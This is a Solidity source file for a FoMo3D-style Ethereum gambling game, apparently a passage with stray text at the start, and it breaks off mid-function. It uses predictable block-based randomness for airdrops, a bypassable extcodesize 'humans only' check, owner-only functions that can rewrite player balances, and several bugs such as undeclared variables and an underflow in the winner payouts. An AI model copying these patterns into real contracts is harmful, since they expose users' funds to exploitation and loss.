-100
] |
pragma solidity ^0.4.24;
// Contract setup ====================
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause(uint256 _id);
event Unpause(uint256 _id);
bool public paused_1 = false;
bool public paused_2 = false;
bool public paused_3 = false;
bool public paused_4 = false;
modifier whenNotPaused_1() {
require(!paused_1);
_;
}
modifier whenNotPaused_2() {
require(!paused_2);
_;
}
modifier whenNotPaused_3() {
require(!paused_3);
_;
}
modifier whenNotPaused_4() {
require(!paused_4);
_;
}
modifier whenPaused_1() {
require(paused_1);
_;
}
modifier whenPaused_2() {
require(paused_2);
_;
}
modifier whenPaused_3() {
require(paused_3);
_;
}
modifier whenPaused_4() {
require(paused_4);
_;
}
function pause_1() onlyOwner whenNotPaused_1 public {
paused_1 = true;
emit Pause(1);
}
function pause_2() onlyOwner whenNotPaused_2 public {
paused_2 = true;
emit Pause(2);
}
function pause_3() onlyOwner whenNotPaused_3 public {
paused_3 = true;
emit Pause(3);
}
function pause_4() onlyOwner whenNotPaused_4 public {
paused_4 = true;
emit Pause(4);
}
function unpause_1() onlyOwner whenPaused_1 public {
paused_1 = false;
emit Unpause(1);
}
function unpause_2() onlyOwner whenPaused_2 public {
paused_2 = false;
emit Unpause(2);
}
function unpause_3() onlyOwner whenPaused_3 public {
paused_3 = false;
emit Unpause(3);
}
function unpause_4() onlyOwner whenPaused_4 public {
paused_4 = false;
emit Unpause(4);
}
}
contract JCLYLong is Pausable {
using SafeMath for *;
event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount);
event LeekStealOn();
address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3;
address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a;
// Configurables ====================
uint256 constant private rndInit_ = 10 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
// eth limiter
uint256 constant private ethLimiterRange1_ = 1e20;
uint256 constant private ethLimiterRange2_ = 5e20;
uint256 constant private ethLimiter1_ = 2e18;
uint256 constant private ethLimiter2_ = 7e18;
// whitelist range
uint256 constant private whitelistRange_ = 1 days;
// for price
uint256 constant private priceStage1_ = 500e18;
uint256 constant private priceStage2_ = 1000e18;
uint256 constant private priceStage3_ = 2000e18;
uint256 constant private priceStage4_ = 4000e18;
uint256 constant private priceStage5_ = 8000e18;
uint256 constant private priceStage6_ = 16000e18;
uint256 constant private priceStage7_ = 32000e18;
uint256 constant private priceStage8_ = 64000e18;
uint256 constant private priceStage9_ = 128000e18;
uint256 constant private priceStage10_ = 256000e18;
uint256 constant private priceStage11_ = 512000e18;
uint256 constant private priceStage12_ = 1024000e18;
// for gu phrase
uint256 constant private guPhrase1_ = 5 days;
uint256 constant private guPhrase2_ = 7 days;
uint256 constant private guPhrase3_ = 9 days;
uint256 constant private guPhrase4_ = 11 days;
uint256 constant private guPhrase5_ = 13 days;
uint256 constant private guPhrase6_ = 15 days;
uint256 constant private guPhrase7_ = 17 days;
uint256 constant private guPhrase8_ = 19 days;
uint256 constant private guPhrase9_ = 21 days;
uint256 constant private guPhrase10_ = 23 days;
// Data setup ====================
uint256 public contractStartDate_; // contract creation time
uint256 public allMaskGu_; // for sharing eth-profit by holding gu
uint256 public allGuGiven_; // for sharing eth-profit by holding gu
mapping (uint256 => uint256) public playOrders_; // playCounter => pID
// AIRDROP DATA
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
mapping (uint256 => mapping (uint256 => uint256)) public airDropWinners_; // counter => pID => winAmt
uint256 public airDropCount_;
// LEEKSTEAL DATA
uint256 public leekStealPot_; // person who gets the first leeksteal wins part of this pot
uint256 public leekStealTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning leek steal
uint256 public leekStealToday_;
bool public leekStealOn_;
mapping (uint256 => uint256) public dayStealTime_; // dayNum => time that makes leekSteal available
mapping (uint256 => uint256) public leekStealWins_; // pID => winAmt
// PLAYER DATA
uint256 public pID_; // total number of players
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
// mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => Datasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_; // (pID => phraseID => data) player round data by player id & round id
// ROUND DATA
uint256 public rID_; // round id number / total rounds that have happened
mapping (uint256 => Datasets.Round) public round_; // (rID => data) round data
// PHRASE DATA
uint256 public phID_; // gu phrase ID
mapping (uint256 => Datasets.Phrase) public phrase_; // (phID_ => data) round data
// WHITELIST
mapping(address => bool) public whitelisted_Prebuy; // pID => isWhitelisted
// Constructor ====================
constructor()
public
{
// set genesis player
pIDxAddr_[owner] = 0;
plyr_[0].addr = owner;
pIDxAddr_[WALLET_ETH_COM1] = 1;
plyr_[1].addr = WALLET_ETH_COM1;
pIDxAddr_[WALLET_ETH_COM2] = 2;
plyr_[2].addr = WALLET_ETH_COM2;
pID_ = 2;
}
// Modifiers ====================
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
modifier withinMigrationPeriod() {
require(now < 1535637600);
_;
}
// Public functions ====================
function deposit()
isWithinLimits(msg.value)
onlyOwner
public
payable
{}
function migrateBasicData(uint256 allMaskGu, uint256 allGuGiven,
uint256 airDropPot, uint256 airDropTracker, uint256 leekStealPot, uint256 leekStealTracker, uint256 leekStealToday,
uint256 pID, uint256 rID)
withinMigrationPeriod
onlyOwner
public
{
allMaskGu_ = allMaskGu;
allGuGiven_ = allGuGiven;
airDropPot_ = airDropPot;
airDropTracker_ = airDropTracker;
leekStealPot_ = leekStealPot;
leekStealTracker_ = leekStealTracker;
leekStealToday_ = leekStealToday;
pID_ = pID;
rID_ = rID;
}
function migratePlayerData1(uint256 _pID, address addr, uint256 win,
uint256 gen, uint256 genGu, uint256 aff, uint256 refund, uint256 lrnd,
uint256 laff, uint256 withdraw)
withinMigrationPeriod
onlyOwner
public
{
pIDxAddr_[addr] = _pID;
plyr_[_pID].addr = addr;
plyr_[_pID].win = win;
plyr_[_pID].gen = gen;
plyr_[_pID].genGu = genGu;
plyr_[_pID].aff = aff;
plyr_[_pID].refund = refund;
plyr_[_pID].lrnd = lrnd;
plyr_[_pID].laff = laff;
plyr_[_pID].withdraw = withdraw;
}
function migratePlayerData2(uint256 _pID, address addr, uint256 maskGu,
uint256 gu, uint256 referEth, uint256 lastClaimedPhID)
withinMigrationPeriod
onlyOwner
public
{
pIDxAddr_[addr] = _pID;
plyr_[_pID].addr = addr;
plyr_[_pID].maskGu = maskGu;
plyr_[_pID].gu = gu;
plyr_[_pID].referEth = referEth;
plyr_[_pID].lastClaimedPhID = lastClaimedPhID;
}
function migratePlayerRoundsData(uint256 _pID, uint256 eth, uint256 keys, uint256 maskKey, uint256 genWithdraw)
withinMigrationPeriod
onlyOwner
public
{
plyrRnds_[_pID][1].eth = eth;
plyrRnds_[_pID][1].keys = keys;
plyrRnds_[_pID][1].maskKey = maskKey;
plyrRnds_[_pID][1].genWithdraw = genWithdraw;
}
function migratePlayerPhrasesData(uint256 _pID, uint256 eth, uint256 guRewarded)
withinMigrationPeriod
onlyOwner
public
{
// pIDxAddr_[addr] = _pID;
plyrPhas_[_pID][1].eth = eth;
plyrPhas_[_pID][1].guRewarded = guRewarded;
}
function migrateRoundData(uint256 plyr, uint256 end, bool ended, uint256 strt,
uint256 allkeys, uint256 keys, uint256 eth, uint256 pot, uint256 maskKey, uint256 playCtr, uint256 withdraw)
withinMigrationPeriod
onlyOwner
public
{
round_[1].plyr = plyr;
round_[1].end = end;
round_[1].ended = ended;
round_[1].strt = strt;
round_[1].allkeys = allkeys;
round_[1].keys = keys;
round_[1].eth = eth;
round_[1].pot = pot;
round_[1].maskKey = maskKey;
round_[1].playCtr = playCtr;
round_[1].withdraw = withdraw;
}
function migratePhraseData(uint256 eth, uint256 guGiven, uint256 mask,
uint256 minEthRequired, uint256 guPoolAllocation)
withinMigrationPeriod
onlyOwner
public
{
phrase_[1].eth = eth;
phrase_[1].guGiven = guGiven;
phrase_[1].mask = mask;
phrase_[1].minEthRequired = minEthRequired;
phrase_[1].guPoolAllocation = guPoolAllocation;
}
function updateWhitelist(address[] _addrs, bool _isWhitelisted)
public
onlyOwner
{
for (uint i = 0; i < _addrs.length; i++) {
whitelisted_Prebuy[_addrs[i]] = _isWhitelisted;
}
}
// buy using last stored affiliate ID
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// determine if player is new or not
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++; // grab their player ID and last aff ID, from player names contract
pIDxAddr_[msg.sender] = pID_; // set up player account
plyr_[pID_].addr = msg.sender; // set up player account
_pID = pID_;
}
// buy core
buyCore(_pID, plyr_[_pID].laff);
}
function buyXid(uint256 _affID)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// determine if player is new or not
uint256 _pID = pIDxAddr_[msg.sender]; // fetch player id
if (_pID == 0)
{
pID_++; // grab their player ID and last aff ID, from player names contract
pIDxAddr_[msg.sender] = pID_; // set up player account
plyr_[pID_].addr = msg.sender; // set up player account
_pID = pID_;
}
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own
if (_affID == 0 || _affID == _pID || _affID > pID_)
{
_affID = plyr_[_pID].laff; // use last stored affiliate code
// if affiliate code was given & its not the same as previously stored
}
else if (_affID != plyr_[_pID].laff)
{
if (plyr_[_pID].laff == 0)
plyr_[_pID].laff = _affID; // update last affiliate
else
_affID = plyr_[_pID].laff;
}
// buy core
buyCore(_pID, _affID);
}
function reLoadXid()
isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender]; // fetch player ID
require(_pID > 0);
reLoadCore(_pID, plyr_[_pID].laff);
}
function reLoadCore(uint256 _pID, uint256 _affID)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// whitelist checking
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
// if round is active
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
uint256 _eth = withdrawEarnings(_pID, false);
if (_eth > 0) {
// call core
core(_rID, _pID, _eth, _affID);
}
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
endRound();
}
}
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// end the round (distributes pot)
round_[_rID].ended = true;
endRound();
// get their earnings
_eth = withdrawEarnings(_pID, true);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID, true);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function buyCore(uint256 _pID, uint256 _affID)
whenNotPaused_1
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// whitelist checking
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
// if round is active
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
endRound();
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
// if player is new to current round
if (plyrRnds_[_pID][_rID].keys == 0)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_; // update player's last round played
}
// early round eth limiter (0-100 eth)
uint256 _availableLimit;
uint256 _refund;
if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_)
{
_availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
} else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_)
{
_availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1e9)
{
// mint the new keys
uint256 _keys = keysRec(round_[_rID].eth, _eth);
// if they bought at least 1 whole key
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys);
}
// manage airdrops
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 1e19)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
} else if (_eth >= 1e18 && _eth < 1e19) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
} else if (_eth >= 1e17 && _eth < 1e18) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
}
// reset air drop tracker
airDropTracker_ = 0;
// NEW
airDropCount_++;
airDropWinners_[airDropCount_][_pID] = _prize;
}
}
leekStealGo();
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].playCtr++;
playOrders_[round_[_rID].playCtr] = pID_; // for recording the 500 winners
// update round
round_[_rID].allkeys = _keys.add(round_[_rID].allkeys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
// distribute eth
distributeExternal(_rID, _pID, _eth, _affID);
distributeInternal(_rID, _pID, _eth, _keys);
// manage gu-referral
updateGuReferral(_pID, _affID, _eth);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
// zero out keys if the accumulated profit doubled
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
// if pID has no keys, skip this
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _genVault = plyr_[_pID].gen;
uint256 _genWithdraw = plyrRnds_[_pID][_rID].genWithdraw;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
if (_genVault.add(_genWithdraw).add(_genEarning) >= _doubleProfit)
{
// put only calculated-remain-profit into gen vault
uint256 _remainProfit = _doubleProfit.sub(_genVault).sub(_genWithdraw);
plyr_[_pID].gen = _remainProfit.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rID].keyProfit = _remainProfit.add(plyrRnds_[_pID][_rID].keyProfit); // follow maskKey
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].maskKey = 0; // treat this player like a new player
}
}
}
function keysRec(uint256 _curEth, uint256 _newEth)
private
returns (uint256)
{
uint256 _startEth;
uint256 _incrRate;
uint256 _initPrice;
if (_curEth < priceStage1_) {
_startEth = 0;
_initPrice = 33333; //3e-5;
_incrRate = 50000000; //2e-8;
}
else if (_curEth < priceStage2_) {
_startEth = priceStage1_;
_initPrice = 25000; // 4e-5;
_incrRate = 50000000; //2e-8;
}
else if (_curEth < priceStage3_) {
_startEth = priceStage2_;
_initPrice = 20000; //5e-5;
_incrRate = 50000000; //2e-8;;
}
else if (_curEth < priceStage4_) {
_startEth = priceStage3_;
_initPrice = 12500; //8e-5;
_incrRate = 26666666; //3.75e-8;
}
else if (_curEth < priceStage5_) {
_startEth = priceStage4_;
_initPrice = 5000; //2e-4;
_incrRate = 17777777; //5.625e-8;
}
else if (_curEth < priceStage6_) {
_startEth = priceStage5_;
_initPrice = 2500; // 4e-4;
_incrRate = 10666666; //9.375e-8;
}
else if (_curEth < priceStage7_) {
_startEth = priceStage6_;
_initPrice = 1000; //0.001;
_incrRate = 5688282; //1.758e-7;
}
else if (_curEth < priceStage8_) {
_startEth = priceStage7_;
_initPrice = 250; //0.004;
_incrRate = 2709292; //3.691e-7;
}
else if (_curEth < priceStage9_) {
_startEth = priceStage8_;
_initPrice = 62; //0.016;
_incrRate = 1161035; //8.613e-7;
}
else if (_curEth < priceStage10_) {
_startEth = priceStage9_;
_initPrice = 14; //0.071;
_incrRate = 451467; //2.215e-6;
}
else if (_curEth < priceStage11_) {
_startEth = priceStage10_;
_initPrice = 2; //0.354;
_incrRate = 144487; //6.921e-6;
}
else if (_curEth < priceStage12_) {
_startEth = priceStage11_;
_initPrice = 0; //2.126;
_incrRate = 40128; //2.492e-5;
}
else {
_startEth = priceStage12_;
_initPrice = 0;
_incrRate = 40128; //2.492e-5;
}
return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18)))));
}
function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private {
uint256 _newPhID = updateGuPhrase();
// update phrase, and distribute remaining gu for the last phrase
if (phID_ < _newPhID) {
updateReferralMasks(phID_);
plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu); // give 20% gu to community first, at the beginning of the phrase start
plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu); // give 20% gu to community first, at the beginning of the phrase start
phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven);
allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_);
phID_ = _newPhID; // update the phrase ID
}
// update referral eth on affiliate
if (_affID != 0 && _affID != _pID) {
plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth);
plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth);
phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth);
}
uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven);
// if 1) one has referral amt larger than requirement, 2) has remaining => then distribute certain amt of Gu, i.e. update gu instead of adding gu
if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) {
// check if need to reward more gu
uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired;
_totalReward = _totalReward.mul(1e18);
uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded;
uint256 _toReward = _totalReward.sub(_rewarded);
if (_remainGuReward < _toReward) _toReward = _remainGuReward;
// give out gu reward
if (_toReward > 0) {
plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu); // give gu to player
plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded);
phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven);
allGuGiven_ = 1e18.add(allGuGiven_);
}
}
}
function updateReferralMasks(uint256 _phID) private {
uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven);
if (_remainGu > 0 && phrase_[_phID].eth > 0) {
// remaining gu per total ethIn in the phrase
uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth;
phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask); // should only added once
}
}
function transferGu(address _to, uint256 _guAmt)
public
whenNotPaused_2
returns (bool)
{
require(_to != address(0));
if (_guAmt > 0) {
uint256 _pIDFrom = pIDxAddr_[msg.sender];
uint256 _pIDTo = pIDxAddr_[_to];
require(plyr_[_pIDFrom].addr == msg.sender);
require(plyr_[_pIDTo].addr == _to);
// update profit for playerFrom
uint256 _profit = (allMaskGu_.mul(_guAmt)/1e18).sub( (plyr_[_pIDFrom].maskGu.mul(_guAmt) / plyr_[_pIDFrom].gu) );
plyr_[_pIDFrom].genGu = _profit.add(plyr_[_pIDFrom].genGu); // put in genGu vault
plyr_[_pIDFrom].guProfit = _profit.add(plyr_[_pIDFrom].guProfit);
// update mask for playerFrom
plyr_[_pIDFrom].maskGu = plyr_[_pIDFrom].maskGu.sub( (allMaskGu_.mul(_guAmt)/1e18).sub(_profit) );
// for playerTo
plyr_[_pIDTo].maskGu = (allMaskGu_.mul(_guAmt)/1e18).add(plyr_[_pIDTo].maskGu);
plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt);
plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt);
return true;
}
else
return false;
}
function updateGuPhrase()
private
returns (uint256) // return phraseNum
{
if (now <= contractStartDate_ + guPhrase1_) {
phrase_[1].minEthRequired = 5e18;
phrase_[1].guPoolAllocation = 100e18;
return 1;
}
if (now <= contractStartDate_ + guPhrase2_) {
phrase_[2].minEthRequired = 4e18;
phrase_[2].guPoolAllocation = 200e18;
return 2;
}
if (now <= contractStartDate_ + guPhrase3_) {
phrase_[3].minEthRequired = 3e18;
phrase_[3].guPoolAllocation = 400e18;
return 3;
}
if (now <= contractStartDate_ + guPhrase4_) {
phrase_[4].minEthRequired = 2e18;
phrase_[4].guPoolAllocation = 800e18;
return 4;
}
if (now <= contractStartDate_ + guPhrase5_) {
phrase_[5].minEthRequired = 1e18;
phrase_[5].guPoolAllocation = 1600e18;
return 5;
}
if (now <= contractStartDate_ + guPhrase6_) {
phrase_[6].minEthRequired = 1e18;
phrase_[6].guPoolAllocation = 3200e18;
return 6;
}
if (now <= contractStartDate_ + guPhrase7_) {
phrase_[7].minEthRequired = 1e18;
phrase_[7].guPoolAllocation = 6400e18;
return 7;
}
if (now <= contractStartDate_ + guPhrase8_) {
phrase_[8].minEthRequired = 1e18;
phrase_[8].guPoolAllocation = 12800e18;
return 8;
}
if (now <= contractStartDate_ + guPhrase9_) {
phrase_[9].minEthRequired = 1e18;
phrase_[9].guPoolAllocation = 25600e18;
return 9;
}
if (now <= contractStartDate_ + guPhrase10_) {
phrase_[10].minEthRequired = 1e18;
phrase_[10].guPoolAllocation = 51200e18;
return 10;
}
phrase_[11].minEthRequired = 0;
phrase_[11].guPoolAllocation = 0;
return 11;
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) )
return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) );
else
return 0;
}
function calcUnMaskedGuEarnings(uint256 _pID)
private
view
returns(uint256)
{
if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) )
return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) );
else
return 0;
}
function endRound()
private
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player id
uint256 _winPID = round_[_rID].plyr;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// jcg share, and amount reserved for next pot
uint256 _win = (_pot.mul(40)) / 100;
uint256 _res = (_pot.mul(10)) / 100;
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// pay the rest of the 500 winners
pay500Winners(_pot);
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
}
function pay500Winners(uint256 _pot) private {
uint256 _rID = rID_;
uint256 _plyCtr = round_[_rID].playCtr;
// pay the 2-10th
uint256 _win2 = _pot.mul(25).div(100).div(9);
for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) {
plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win);
}
// pay the 11-100th
uint256 _win3 = _pot.mul(15).div(100).div(90);
for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) {
plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win);
}
// pay the 101-500th
uint256 _win4 = _pot.mul(10).div(100).div(400);
for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) {
plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win);
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey);
plyrRnds_[_pID][_rIDlast].keyProfit = _earnings.add(plyrRnds_[_pID][_rIDlast].keyProfit); // NEW: follow maskKey
}
}
function updateGenGuVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedGuEarnings(_pID);
if (_earnings > 0)
{
// put in genGu vault
plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu);
// zero out their earnings by updating mask
plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu);
plyr_[_pID].guProfit = _earnings.add(plyr_[_pID].guProfit);
}
}
// update gu-reward for referrals
function updateReferralGu(uint256 _pID)
private
{
// get current phID
uint256 _phID = phID_;
// get last claimed phID till
uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID;
if (_phID > _lastClaimedPhID)
{
// calculate the gu Shares using these two input
uint256 _guShares;
for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) {
_guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares);
// update record
plyr_[_pID].lastClaimedPhID = i;
phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven);
plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded);
}
// put gu in player
plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu);
// zero out their earnings by updating mask
plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu);
allGuGiven_ = _guShares.add(allGuGiven_);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function randomNum(uint256 _tracker)
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < _tracker)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
// pay 2% out to community rewards
